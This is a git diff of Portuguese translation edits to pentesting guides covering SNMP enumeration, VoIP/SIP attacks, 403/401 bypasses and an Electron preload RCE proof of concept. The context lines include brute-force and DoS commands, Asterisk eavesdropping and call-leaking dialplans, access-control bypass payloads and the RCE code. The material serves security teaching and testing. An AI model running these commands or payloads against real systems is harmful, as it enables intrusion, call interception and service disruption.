+Para **adivinhar a string da comunidade**, você poderia realizar um ataque de dicionário. Confira [aqui diferentes maneiras de realizar um ataque de força bruta contra SNMP](../../generic-hacking/brute-force.md#snmp). Uma string da comunidade frequentemente usada é `public`.
 
 ## Enumerando SNMP
 
@@ -146,7 +145,7 @@ Ambos os comandos requerem uma **string de comunidade** e o endereço IP relevan
 
 ### Parâmetros SNMP para Microsoft Windows
 
-Uma série de **valores de Management Information Base (MIB)** são utilizados para monitorar vários aspectos de um sistema Windows através do SNMP:
+Uma série de **valores da Base de Informação de Gerenciamento (MIB)** são utilizados para monitorar vários aspectos de um sistema Windows através do SNMP:
 
 - **Processos do Sistema**: Acessado via `1.3.6.1.2.1.25.1.6.0`, este parâmetro permite o monitoramento de processos ativos dentro do sistema.
 - **Programas em Execução**: O valor `1.3.6.1.2.1.25.4.2.1.2` é designado para rastrear programas atualmente em execução.
@@ -174,7 +173,7 @@ snmp-rce.md
 
 ## **SNMP Massivo**
 
-[Braa](https://github.com/mteg/braa) é um scanner SNMP em massa. O uso pretendido de tal ferramenta é, claro, fazer consultas SNMP – mas ao contrário do snmpwalk do net-snmp, ele é capaz de consultar dezenas ou centenas de hosts simultaneamente, e em um único processo. Assim, consome muito poucos recursos do sistema e faz a varredura MUITO rápido.
+[Braa](https://github.com/mteg/braa) é um scanner SNMP em massa. O uso pretendido de tal ferramenta é, claro, fazer consultas SNMP – mas ao contrário do snmpwalk do net-snmp, ela é capaz de consultar dezenas ou centenas de hosts simultaneamente, e em um único processo. Assim, consome muito poucos recursos do sistema e faz a varredura MUITO rápido.
 
 Braa implementa sua própria pilha SNMP, portanto, não precisa de nenhuma biblioteca SNMP como net-snmp.
 
@@ -188,7 +187,7 @@ Então, vamos procurar as informações mais interessantes (de [https://blog.rap
 
 ### **Dispositivos**
 
-O processo começa com a extração de **dados MIB sysDesc** (1.3.6.1.2.1.1.1.0) de cada arquivo para identificar os dispositivos. Isso é realizado através do uso de um **comando grep**:
+O processo começa com a extração de **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) de cada arquivo para identificar os dispositivos. Isso é realizado através do uso de um **grep command**:
 ```bash
 grep ".1.3.6.1.2.1.1.1.0" *.snmp
 ```
@@ -216,7 +215,7 @@ Você pode usar _**NetScanTools**_ para **modificar valores**. Você precisará
 
 ## Spoofing
 
-Se houver uma ACL que permite apenas alguns IPs consultar o serviço SNMP, você pode falsificar um desses endereços dentro do pacote UDP e capturar o tráfego.
+Se houver um ACL que permite apenas alguns IPs consultar o serviço SNMP, você pode falsificar um desses endereços dentro do pacote UDP e capturar o tráfego.
 
 ## Examinar arquivos de configuração SNMP
 

src/network-services-pentesting/pentesting-voip/README.md

@@ -130,7 +130,7 @@ OPTIONS		Query the capabilities of an endpoint					RFC 3261
 
 ### Números de Telefone
 
-Um dos primeiros passos que uma Red Team pode dar é procurar números de telefone disponíveis para contatar a empresa usando ferramentas OSINT, pesquisas no Google ou raspagem de páginas da web.
+Um dos primeiros passos que uma Red Team pode fazer é buscar números de telefone disponíveis para contatar a empresa usando ferramentas OSINT, buscas no Google ou raspagem de páginas da web.
 
 Uma vez que você tenha os números de telefone, você pode usar serviços online para identificar o operador:
 
@@ -139,7 +139,7 @@ Uma vez que você tenha os números de telefone, você pode usar serviços onlin
 - [https://www.whitepages.com/](https://www.whitepages.com/)
 - [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
 
-Saber se o operador fornece serviços VoIP pode ajudá-lo a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços VoIP, mas esteja usando cartões PSTN para conectar seu próprio PBX VoIP à rede de telefonia tradicional.
+Saber se o operador fornece serviços VoIP pode ajudar a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços VoIP, mas esteja usando cartões PSTN para conectar seu próprio PBX VoIP à rede de telefonia tradicional.
 
 Coisas como respostas automáticas de música geralmente indicam que o VoIP está sendo usado.
 
@@ -181,7 +181,7 @@ Qualquer outra enumeração OSINT que ajude a identificar o software VoIP em uso
 
 ### Enumeração de Rede
 
-- **`nmap`** é capaz de escanear serviços UDP, mas devido ao número de serviços UDP sendo escaneados, é muito lento e pode não ser muito preciso com esse tipo de serviços.
+- **`nmap`** é capaz de escanear serviços UDP, mas devido ao número de serviços UDP sendo escaneados, é muito lento e pode não ser muito preciso com esse tipo de serviço.
 ```bash
 sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
 ```
@@ -191,7 +191,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
 # Use --fp to fingerprint the services
 svmap 10.10.0.0/24 -p 5060-5070 [--fp]
 ```
-- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS scan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithreading e pode escanear grandes faixas de redes. Permite indicar facilmente um intervalo de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais).
+- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS scan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithread e pode escanear grandes faixas de redes. Permite indicar facilmente um intervalo de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais).
 ```bash
 sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
 
@@ -226,7 +226,7 @@ O PBX também pode estar expondo outros serviços de rede, como:
 ```bash
 sippts enumerate -i 10.10.0.10
 ```
-### Analisando as respostas do servidor
+### Analisando respostas do servidor
 
 É muito importante analisar os cabeçalhos que um servidor nos envia, dependendo do tipo de mensagem e cabeçalhos que enviamos. Com `SIPPTS send` do [**sippts**](https://github.com/Pepelux/sippts) podemos enviar mensagens personalizadas, manipulando todos os cabeçalhos, e analisar a resposta.
 ```bash
@@ -240,7 +240,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
 
 Extensões em um sistema PBX (Private Branch Exchange) referem-se aos **identificadores internos únicos atribuídos a linhas** telefônicas, dispositivos ou usuários individuais dentro de uma organização ou empresa. As extensões possibilitam **rutar chamadas dentro da organização de forma eficiente**, sem a necessidade de números de telefone externos individuais para cada usuário ou dispositivo.
 
-- **`svwar`** do SIPVicious (`sudo apt install sipvicious`): `svwar` é um scanner de linha de extensão SIP PBX gratuito. Em conceito, funciona de forma semelhante aos discadores tradicionais, **adivinhando uma faixa de extensões ou uma lista específica de extensões**.
+- **`svwar`** do SIPVicious (`sudo apt install sipvicious`): `svwar` é um scanner de linha de extensão SIP PBX gratuito. Em conceito, funciona de maneira semelhante aos discadores tradicionais, **adivinhando uma faixa de extensões ou uma lista específica de extensões**.
 ```bash
 svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
 ```
@@ -262,14 +262,14 @@ enumiax -v -m3 -M3 10.10.0.10
 
 ### Força Bruta de Senha - online
 
-Tendo descoberto o **PBX** e alguns **números de ramal/nome de usuário**, uma equipe vermelha pode tentar **autenticar via o método `REGISTER`** em um ramal usando um dicionário de senhas comuns para realizar a força bruta na autenticação.
+Tendo descoberto o **PBX** e algumas **extensões/nome de usuário**, uma equipe vermelha poderia tentar **autenticar via o método `REGISTER`** em uma extensão usando um dicionário de senhas comuns para realizar a força bruta na autenticação.
 
 > [!CAUTION]
-> Note que um **nome de usuário** pode ser o mesmo que o ramal, mas essa prática pode variar dependendo do sistema PBX, sua configuração e as preferências da organização...
+> Note que um **nome de usuário** pode ser o mesmo que a extensão, mas essa prática pode variar dependendo do sistema PBX, sua configuração e as preferências da organização...
 >
-> Se o nome de usuário não for o mesmo que o ramal, você precisará **descobrir o nome de usuário para realizar a força bruta**.
+> Se o nome de usuário não for o mesmo que a extensão, você precisará **descobrir o nome de usuário para realizar a força bruta**.
 
-- **`svcrack`** do SIPVicious (`sudo apt install sipvicious`): SVCrack permite que você quebre a senha para um nome de usuário/ramal específico em um PBX.
+- **`svcrack`** do SIPVicious (`sudo apt install sipvicious`): SVCrack permite que você quebre a senha para um nome de usuário/extensão específico em um PBX.
 ```bash
 svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
 svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
@@ -282,11 +282,11 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
 - [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
 - [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb)
 
-### Sniffing VoIP
+### VoIP Sniffing
 
 Se você encontrar equipamentos VoIP dentro de uma **rede Wifi aberta**, você pode **capturar todas as informações**. Além disso, se você estiver dentro de uma rede mais fechada (conectada via Ethernet ou Wifi protegido), você pode realizar **ataques MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) entre o **PBX e o gateway** para capturar as informações.
 
-Entre as informações da rede, você pode encontrar **credenciais da web** para gerenciar o equipamento, **ramais** de usuário, **nome de usuário**, endereços **IP**, até mesmo **senhas hash** e **pacotes RTP** que você pode reproduzir para **ouvir a conversa**, e mais.
+Entre as informações da rede, você pode encontrar **credenciais da web** para gerenciar o equipamento, **extensões** de usuário, **nome de usuário**, endereços **IP**, até mesmo **senhas hash** e **pacotes RTP** que você pode reproduzir para **ouvir a conversa**, e mais.
 
 Para obter essas informações, você pode usar ferramentas como Wireshark, tcpdump... mas uma **ferramenta especialmente criada para capturar conversas VoIP é** [**ucsniff**](https://github.com/Seabreg/ucsniff).
 
@@ -298,7 +298,7 @@ Para obter essas informações, você pode usar ferramentas como Wireshark, tcpd
 
 [Confira este exemplo para entender melhor uma **comunicação SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) para aprender como as **credenciais estão sendo enviadas**.
 
-- **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações digest** dentro do protocolo SIP e **bruteforçar** elas.
+- **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações digest** dentro do protocolo SIP e **bruteforce** elas.
 ```bash
 sipdump -p net-capture.pcap sip-creds.txt
 sipcrack sip-creds.txt -w dict.txt
@@ -311,7 +311,7 @@ sippts dump -f capture.pcap -o data.txt
 ```bash
 sippts dcrack -f data.txt -w wordlist/rockyou.txt
 ```
-- **`SIPPTS tshark`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark extrai dados do protocolo SIP de um arquivo PCAP.
+- **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark extrai dados do protocolo SIP de um arquivo PCAP.
 ```bash
 sippts tshark -f capture.pcap [-filter auth]
 ```
@@ -334,14 +334,14 @@ Se um endereço IP for especificado, o host **não precisará enviar solicitaç
 Para definir usuários, eles podem ser definidos como:
 
 - **`type=user`**: O usuário pode apenas receber chamadas como usuário.
-- **`type=friend`**: É possível realizar chamadas como par e recebê-las como usuário (usado com extensões).
-- **`type=peer`**: É possível enviar e receber chamadas como par (SIP-trunks).
+- **`type=friend`**: É possível realizar chamadas como par e recebê-las como usuário (usado com extensões)
+- **`type=peer`**: É possível enviar e receber chamadas como par (SIP-trunks)
 
 Também é possível estabelecer confiança com a variável insegura:
 
 - **`insecure=port`**: Permite conexões de pares validadas por IP.
-- **`insecure=invite`**: Não requer autenticação para mensagens INVITE.
-- **`insecure=port,invite`**: Ambos.
+- **`insecure=invite`**: Não requer autenticação para mensagens INVITE
+- **`insecure=port,invite`**: Ambos
 
 > [!WARNING]
 > Quando **`type=friend`** é usado, o **valor** da variável **host** **não será usado**, então se um administrador **configurar incorretamente um SIP-trunk** usando esse valor, **qualquer um poderá se conectar a ele**.
@@ -373,7 +373,7 @@ Este é **outro contexto** que permite **ligar para qualquer outro número**:
 [external]
 exten => _X.,1,Dial(SIP/trunk/${EXTEN})
 ```
-Se o administrador definir o **contexto padrão** como:
+Se o administrador define o **contexto padrão** como:
 ```
 [default]
 include => my_context
@@ -397,12 +397,12 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
 ```
 ### Chamadas gratuitas / IVRS mal configurados
 
-IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite que os usuários interajam com um sistema computadorizado por meio de entradas de voz ou tom de toque. O IVRS é usado para construir sistemas de **manipulação de chamadas automatizadas** que oferecem uma variedade de funcionalidades, como fornecer informações, direcionar chamadas e capturar entradas do usuário.
+IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite que os usuários interajam com um sistema computadorizado por meio de entradas de voz ou toques. IVRS é usado para construir sistemas de **manipulação de chamadas automatizadas** que oferecem uma variedade de funcionalidades, como fornecer informações, direcionar chamadas e capturar entradas do usuário.
 
-O IVRS em sistemas VoIP geralmente consiste em:
+IVRS em sistemas VoIP geralmente consiste em:
 
-1. **Mensagens de voz**: Mensagens de áudio pré-gravadas que orientam os usuários através das opções do menu IVR e instruções.
-2. **DTMF** (Dual-Tone Multi-Frequency) sinalização: Entradas de tom de toque geradas ao pressionar teclas no telefone, que são usadas para navegar pelos menus IVR e fornecer entradas.
+1. **Mensagens de voz**: Mensagens de áudio pré-gravadas que orientam os usuários através das opções e instruções do menu IVR.
+2. **DTMF** (Dual-Tone Multi-Frequency) sinalização: Entradas de toque geradas ao pressionar teclas no telefone, que são usadas para navegar pelos menus IVR e fornecer entradas.
 3. **Roteamento de chamadas**: Direcionar chamadas para o destino apropriado, como departamentos específicos, agentes ou ramais com base na entrada do usuário.
 4. **Captura de entrada do usuário**: Coletar informações dos chamadores, como números de conta, IDs de caso ou quaisquer outros dados relevantes.
 5. **Integração com sistemas externos**: Conectar o sistema IVR a bancos de dados ou outros sistemas de software para acessar ou atualizar informações, realizar ações ou acionar eventos.
@@ -417,8 +417,8 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
 exten => 0,103,GotoIf("$[${numbers}"=""]?100)
 exten => 0,104,Dial(LOCAL/${numbers})
 ```
-O anterior é um exemplo onde o usuário é solicitado a **pressionar 1 para chamar** um departamento, **2 para chamar** outro, ou **o número completo** se ele souber.\
-A vulnerabilidade é o fato de que o **comprimento da extensão indicada não é verificado, então um usuário poderia inserir o timeout de 5 segundos um número completo e ele será chamado.**
+O anterior é um exemplo onde o usuário é solicitado a **pressionar 1 para chamar** um departamento, **2 para chamar** outro, ou **o número completo** se souber.\
+A vulnerabilidade é o fato de que o **comprimento da extensão indicado não é verificado, então um usuário poderia inserir o tempo limite de 5 segundos de um número completo e ele será chamado.**
 
 ### Injeção de Extensão
 
@@ -430,11 +430,11 @@ Onde **`${EXTEN}`** é a **extensão** que será chamada, quando a **ext 101 for
 ```scss
 exten => 101,1,Dial(SIP/101)
 ```
-No entanto, se **`${EXTEN}`** permitir a introdução de **mais do que números** (como em versões mais antigas do Asterisk), um atacante poderia introduzir **`101&SIP123123123`** para chamar o número de telefone 123123123. E este seria o resultado:
+No entanto, se **`${EXTEN}`** permitir a introdução de **mais do que números** (como nas versões mais antigas do Asterisk), um atacante poderia introduzir **`101&SIP123123123`** para chamar o número de telefone 123123123. E este seria o resultado:
 ```scss
 exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
 ```
-Portanto, uma chamada para a extensão **`101`** e **`123123123`** será enviada e apenas a primeira que receber a chamada será estabelecida... mas se um atacante usar uma **extensão que ignora qualquer correspondência** que está sendo realizada, mas não existe, ele poderia **injetar uma chamada apenas para o número desejado**.
+Portanto, uma chamada para a extensão **`101`** e **`123123123`** será enviada e apenas a primeira que receber a chamada será estabelecida... mas se um atacante usar uma **extensão que contorna qualquer correspondência** que está sendo realizada, mas não existe, ele poderia **injetar uma chamada apenas para o número desejado**.
 
 ## Vulnerabilidade SIPDigestLeak
 
@@ -486,7 +486,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
 write = system,call,agent,user,config,command,reporting,originate
 ```
 - O perfil anterior está permitindo **QUALQUER endereço IP se conectar** (se a senha for conhecida).
-- Para **organizar uma chamada**, como especificado anteriormente, **nenhuma permissão de leitura é necessária** e **apenas** **originar** em **gravação** é necessário.
+- Para **organizar uma chamada**, como especificado anteriormente, **nenhuma permissão de leitura é necessária** e **apenas** **originar** em **escrita** é necessário.
 
 Com essas permissões, qualquer IP que conheça a senha poderia se conectar e extrair informações demais, como:
 ```bash
@@ -497,9 +497,9 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
 
 ### **Escuta**
 
-No Asterisk, é possível usar o comando **`ChanSpy`** indicando a **(s) extensão (ões) a serem monitoradas** (ou todas elas) para ouvir as conversas que estão acontecendo. Este comando precisa ser atribuído a uma extensão.
+No Asterisk, é possível usar o comando **`ChanSpy`** indicando a(s) **extensão(ões) a serem monitoradas** (ou todas elas) para ouvir as conversas que estão acontecendo. Este comando precisa ser atribuído a uma extensão.
 
-Por exemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que se você **ligar** para a **extensão 333**, ele irá **monitorar** **`todas`** as extensões, **começar a ouvir** sempre que uma nova conversa começar (**`b`**) em modo silencioso (**`q`**) pois não queremos interagir. Você pode alternar de uma conversa para outra pressionando **`*`**, ou marcando o número da extensão.
+Por exemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que se você **ligar** para a **extensão 333**, ele **monitorará** **`todas`** as extensões, **começando a ouvir** sempre que uma nova conversa começar (**`b`**) em modo silencioso (**`q`**) pois não queremos interagir. Você pode alternar de uma conversa para outra pressionando **`*`**, ou marcando o número da extensão.
 
 Também é possível usar **`ExtenSpy`** para monitorar apenas uma extensão.
 
@@ -511,7 +511,7 @@ exten => _X.,2,MixMonitor(${NAME})
 ```
 As chamadas serão salvas em **`/tmp`**.
 
-Você também pode fazer com que o Asterisk **execute um script que irá vazar a chamada** quando for encerrada.
+Você também pode fazer com que o Asterisk **execute um script que irá vazar a chamada** quando for encerrado.
 ```scss
 exten => h,1,System(/tmp/leak_conv.sh &)
 ```
@@ -519,15 +519,15 @@ exten => h,1,System(/tmp/leak_conv.sh &)
 
 **RTCPBleed** é um problema de segurança significativo que afeta servidores VoIP baseados em Asterisk (publicado em 2017). A vulnerabilidade permite que o **tráfego RTP (Real Time Protocol)**, que transporta conversas VoIP, seja **interceptado e redirecionado por qualquer pessoa na Internet**. Isso ocorre porque o tráfego RTP contorna a autenticação ao navegar através de firewalls NAT (Network Address Translation).
 
-Proxies RTP tentam resolver as **limitações do NAT** que afetam sistemas RTC, fazendo proxy de streams RTP entre duas ou mais partes. Quando o NAT está em vigor, o software do proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP recuperadas através da sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo onde tal **tupla de IP e porta é aprendida automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não faz uso de qualquer tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP proxy que deveria ser destinado ao chamador ou atendente de um stream RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que atacantes recebam streams de mídia RTP destinados a usuários legítimos.
+Proxies RTP tentam resolver as **limitações do NAT** que afetam sistemas RTC, fazendo proxy de fluxos RTP entre duas ou mais partes. Quando o NAT está em vigor, o software do proxy RTP muitas vezes não pode confiar nas informações de IP e porta do RTP obtidas através da sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo onde tal **tupla de IP e porta é aprendida automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não faz uso de qualquer tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP proxy que deveria ser destinado ao chamador ou atendente de um fluxo RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que atacantes recebam fluxos de mídia RTP destinados a serem enviados a usuários legítimos.
 
-Outro comportamento interessante dos proxies RTP e das pilhas RTP é que, às vezes, **mesmo que não sejam vulneráveis ao RTP Bleed**, eles **aceitarão, encaminharão e/ou processarão pacotes RTP de qualquer fonte**. Portanto, atacantes podem enviar pacotes RTP que podem permitir que eles injetem sua mídia em vez da legítima. Chamamos esse ataque de injeção RTP porque permite a injeção de pacotes RTP ilegítimos em streams RTP existentes. Essa vulnerabilidade pode ser encontrada tanto em proxies RTP quanto em endpoints.
+Outro comportamento interessante dos proxies RTP e das pilhas RTP é que, às vezes, **mesmo que não sejam vulneráveis ao RTP Bleed**, eles **aceitarão, encaminharão e/ou processarão pacotes RTP de qualquer fonte**. Portanto, atacantes podem enviar pacotes RTP que podem permitir que eles injetem sua mídia em vez da legítima. Chamamos esse ataque de injeção RTP porque permite a injeção de pacotes RTP ilegítimos em fluxos RTP existentes. Essa vulnerabilidade pode ser encontrada tanto em proxies RTP quanto em endpoints.
 
 Asterisk e FreePBX tradicionalmente usaram a **configuração `NAT=yes`**, que permite que o tráfego RTP contorne a autenticação, potencialmente levando a nenhuma áudio ou áudio unidirecional em chamadas.
 
 Para mais informações, consulte [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
 
-- **`SIPPTS rtpbleed`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detecta a vulnerabilidade RTP Bleed enviando streams RTP.
+- **`SIPPTS rtpbleed`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detecta a vulnerabilidade RTP Bleed enviando fluxos RTP.
 ```bash
 sippts rtpbleed -i 10.10.0.10
 ```
@@ -535,7 +535,7 @@ sippts rtpbleed -i 10.10.0.10
 ```bash
 sippts rtcpbleed -i 10.10.0.10
 ```
-- **`SIPPTS rtpbleedflood`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood explora a vulnerabilidade RTP Bleed enviando streams RTP.
+- **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood explora a vulnerabilidade RTP Bleed enviando streams RTP.
 ```bash
 sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
 ```
@@ -578,14 +578,14 @@ Ou você pode usar os scripts de [http://blog.pepelux.org/2011/09/13/inyectando-
 
 Existem várias maneiras de tentar alcançar DoS em servidores VoIP.
 
-- **`SIPPTS flood`** de [**sippts**](https://github.com/Pepelux/sippts)\*\*: O SIPPTS flood envia mensagens ilimitadas para o alvo.
+- **`SIPPTS flood`** de [**sippts**](https://github.com/Pepelux/sippts)**: O SIPPTS flood envia mensagens ilimitadas para o alvo.
 - `sippts flood -i 10.10.0.10 -m invite -v`
-- **`SIPPTS ping`** de [**sippts**](https://github.com/Pepelux/sippts)\*\*: O SIPPTS ping faz um ping SIP para ver o tempo de resposta do servidor.
+- **`SIPPTS ping`** de [**sippts**](https://github.com/Pepelux/sippts)**: O SIPPTS ping faz um ping SIP para ver o tempo de resposta do servidor.
 - `sippts ping -i 10.10.0.10`
 - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protocolo IAX usado pelo Asterisk.
 - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uma ferramenta para realizar flooding de mensagens SIP/SDP INVITE sobre UDP/IP.
-- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envia vários pacotes RTP bem formados. É necessário saber as portas RTP que estão sendo usadas (sniff primeiro).
-- [**SIPp**](https://github.com/SIPp/sipp): Permite analisar e gerar tráfego SIP, então pode ser usado para DoS também.
+- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envia vários pacotes RTP bem formados. É necessário conhecer as portas RTP que estão sendo usadas (snifar primeiro).
+- [**SIPp**](https://github.com/SIPp/sipp): Permite analisar e gerar tráfego SIP, então também pode ser usado para DoS.
 - [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Canivete suíço SIP. Também pode ser usado para realizar ataques SIP.
 - Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
 

src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

@@ -14,7 +14,7 @@ Tente usar **diferentes verbos** para acessar o arquivo: `GET, HEAD, POST, PUT,
 
 - **Mude o cabeçalho Host** para algum valor arbitrário ([que funcionou aqui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
 - Tente [**usar outros User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) para acessar o recurso.
-- **Fuzz HTTP Headers**: Tente usar **Headers** de Proxy HTTP, autenticação HTTP básica e NTLM brute-force (com algumas combinações apenas) e outras técnicas. Para fazer tudo isso, criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
+- **Fuzz HTTP Headers**: Tente usar **Headers** de Proxy HTTP, autenticação HTTP básica e NTLM brute-force (com apenas algumas combinações) e outras técnicas. Para fazer tudo isso, eu criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -44,8 +44,8 @@ Se o **caminho estiver protegido**, você pode tentar contornar a proteção do
 
 Se _/path_ estiver bloqueado:
 
-- Tente usar _**/**_**%2e/path \_(se o acesso estiver bloqueado por um proxy, isso pode contornar a proteção). Tente também**\_\*\* /%252e\*\*/path (double URL encode)
-- Tente **bypass Unicode**: _/**%ef%bc%8f**path_ (Os caracteres codificados em URL são como "/") então, quando codificados novamente, será _//path_ e talvez você já tenha contornado a verificação do nome _/path_
+- Tente usar `/%2e/path` (se o acesso estiver bloqueado por um proxy, isso pode contornar a proteção). Tente também `/%252e**/path` (dupla codificação de URL)
+- Tente **bypass Unicode**: _/**%ef%bc%8f**path_ (Os caracteres codificados em URL são como "/") então, quando codificados de volta, será _//path_ e talvez você já tenha contornado a verificação do nome _/path_
 - **Outros bypasses de caminho**:
 - site.com/secret –> HTTP 403 Forbidden
 - site.com/SECRET –> HTTP 200 OK
@@ -57,7 +57,7 @@ Se _/path_ estiver bloqueado:
 - site.com/.;/secret –> HTTP 200 OK
 - site.com//;//secret –> HTTP 200 OK
 - site.com/secret.json –> HTTP 200 OK (ruby)
-- Use toda [**esta lista**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) nas seguintes situações:
+- Use toda [**essa lista**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) nas seguintes situações:
 - /FUZZsecret
 - /FUZZ/secret
 - /secretFUZZ
@@ -68,8 +68,8 @@ Se _/path_ estiver bloqueado:
 - {“id”:\[111]} --> 200 OK
 - {“id”:111} --> 401 Unauthriozied
 - {“id”:{“id”:111\}} --> 200 OK
-- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
-- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
+- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (Poluição de Parâmetro JSON)
+- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Poluição de Parâmetro)
 
 ## **Parameter Manipulation**
 
@@ -114,4 +114,5 @@ guest    guest
 - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
 - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
 
+
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

@@ -40,7 +40,7 @@ Exemplo de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://m
 Ao verificar os scripts de preload, descobri que o Discord expõe a função, que permite que alguns módulos permitidos sejam chamados via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, na página da web.\
 Aqui, não consegui usar módulos que podem ser usados para RCE diretamente, como o módulo _child_process_, mas **encontrar um código onde RCE pode ser alcançado ao sobrescrever os métodos embutidos do JavaScript** e interferir na execução do módulo exposto.
 
-O seguinte é o PoC. Consegui confirmar que o **calc** é **aberto** quando eu **chamo a função `getGPUDriverVersions`** que está definida no módulo chamado "_discord_utils_" do devTools, enquanto **sobrescrevo o `RegExp.prototype.test` e `Array.prototype.join`**.
+O seguinte é o PoC. Consegui confirmar que o aplicativo **calc** é **aberto** quando eu **chamo a função `getGPUDriverVersions`** que está definida no módulo chamado "_discord_utils_" do devTools, enquanto **sobrescrevo o `RegExp.prototype.test` e `Array.prototype.join`**.
 ```javascript
 RegExp.prototype.test = function () {
 return false
@@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() }
 return result
 }
 ```
-Normalmente, o _execa_ tenta executar "_nvidia-smi.exe_", que é especificado na variável `nvidiaSmiPath`, no entanto, devido ao `RegExp.prototype.test` e `Array.prototype.join` sobrepostos, **o argumento é substituído por "**_**calc**_**" no processamento interno do \_execa**\_**.
